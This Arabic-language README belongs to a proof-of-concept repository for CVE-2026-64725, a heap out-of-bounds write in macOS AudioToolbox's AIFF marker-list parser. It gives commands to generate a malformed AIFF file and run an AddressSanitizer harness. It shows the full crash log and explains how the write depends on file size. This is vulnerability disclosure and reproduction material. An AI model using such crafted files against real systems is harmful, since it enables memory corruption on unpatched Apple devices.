
إثبات مفهوم لـ CVE-2026-64725
إثبات مفهوم (PoC) للثغرة CVE-2026-64725. راجع الكود المصدري ومقالة المدونة للتفاصيل.
تم العثور عليها على macOS 26.4.1 (build 25E253; Darwin 25.4.0 (xnu-12377.101.15~1); Apple Silicon (T8103 / M1)).
تؤكد Apple أن أنظمة macOS/iOS/iPadOS < 26.6 معرضة للخطر.
تأكد من أن جهاز Mac يعمل بأحدث إصدار من macOS
تأكد من تثبيت Python 3.6+ وclang
استنسخ المستودع إلى جهاز Mac
أنشئ ملف AIFF مشوّهًا بالحد الأدنى يستثير خلل الإزاحة الموقّعة (signed-shift) في int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool):
cd poc/
python3 gen_marker_oob_aiff.py
أو
cd poc/
make aiff
ونتيجةً لذلك، يجب أن تحصل على marker_oob.aiff.
قم ببناء بيئة الاختبار المصغّرة (harness) الخاصة بإثبات المفهوم مع ASan:
make
ونتيجةً لذلك، يجب أن تحصل على marker_oob_harness.
./marker_oob_harness marker_oob.aiff
يجب أن ترى شيئًا مثل
buf=0x619000001480 alloc=1000 bytes (room for 25 AudioFileMarker slots, 40 B each)
AddressSanitizer:DEADLYSIGNAL
=================================================================
==62449==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0001929391d8 bp 0x00016b686390 sp 0x00016b686220 T0)
==62449==The signal is caused by a WRITE memory access.
==62449==Hint: this fault was caused by a dereference of a high value address (see register values below). Disassemble the provided pc to learn which register was used.
#0 0x0001929391d8 in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4 (AudioToolboxCore:arm64e+0x17b1d8)
#1 0x0001927c6a1c in AudioFileGetProperty+0x70 (AudioToolboxCore:arm64e+0x8a1c)
#2 0x000104778ca4 in main marker_oob_harness.c:59
#3 0x00018f8a3da0 in start+0x1b4c (dyld:arm64e+0x1fda0)
==62449==Register values:
x[0] = 0xa29319b2bf742f12 x[1] = 0x0000000000000000 x[2] = 0x0000000000000000 x[3] = 0x0000000000000008
x[4] = 0x0000000000000004 x[5] = 0xffffffffffffffff x[6] = 0x0000000000000000 x[7] = 0x0000000000000001
x[8] = 0x0000000000000000 x[9] = 0x0000000000001917 x[10] = 0x0000000000000002 x[11] = 0x0000000000000000
x[12] = 0x000000002d6d0c46 x[13] = 0x00000001fd0f3380 x[14] = 0x0000000000000000 x[15] = 0x0000000000000000
x[16] = 0x000000016b686231 x[17] = 0x00000001fd0e6d78 x[18] = 0x0000000000000000 x[19] = 0x0000000000000001
x[20] = 0x000000016b686420 x[21] = 0x0000615000000a80 x[22] = 0x0000000000000000 x[23] = 0x000000000000c8e6
x[24] = 0x000000000000c8e8 x[25] = 0x00000000ffffe6e9 x[26] = 0x0000000000000004 x[27] = 0x000061900004000c
x[28] = 0x0000000000000002 fp = 0x000000016b686390 lr = 0x00000001929391b8 sp = 0x000000016b686220
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: BUS (AudioToolboxCore:arm64e+0x17b1d8) in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4
==62449==ABORTING
zsh: abort ./marker_oob_harness marker_oob.aiff
باختصار شديد:
فتح marker_oob_harness الملف marker_oob.aiff عبر استدعاء الواجهة العامة الموثقة AudioFileOpenURL(...)
استدعى marker_oob_harness الدالة calloc لتخصيص مخزن إخراج ثابت الطول للعلامات (ليست هذه أفضل ممارسة، لكنها تحدث كثيرًا في التطبيقات الواقعية؛ النمط البرمجي الأكثر أمانًا GetMarkerListSize يُناقش في قسم «الحالات الآمنة» / «GetMarkerListSize → malloc(size) → GetMarkerList» أدناه)
حاول marker_oob_harness الحصول على قائمة العلامات باستدعاء الواجهة العامة الموثقة AudioFileGetProperty(...) مع inPropertyID=kAudioFilePropertyMarkerList. كانت جميع الوسائط، بما في ذلك حجم مخزن الإخراج والمؤشر إلى المخزن، صحيحة.
استدعت الدالة AudioFileGetProperty(...) الواجهة غير الموثقة int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) داخليًا
أساءت الدالة int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) تفسير حجم مخزن الإخراج (الصحيح!) وكتبت بايتات من marker_oob.aiff بعد نهاية المخزن، لذلك رأيت رسالة انهيار ASan. كان السلوك الصحيح المتوقع يتمثل في إرجاع خطأ يوضح أن المخزن أصغر من اللازم أو ما شابه ذلك.
يعتمد عدد البايتات المكتوبة بعد نهاية المخزن على حجم الملف. يمكن لملف .aiff خبيث أن يتجاوز سعة أي مخزن بحجم معقول إذا كان الملف كبيرًا بما يكفي.
راجع مقالة المدونة للتفاصيل.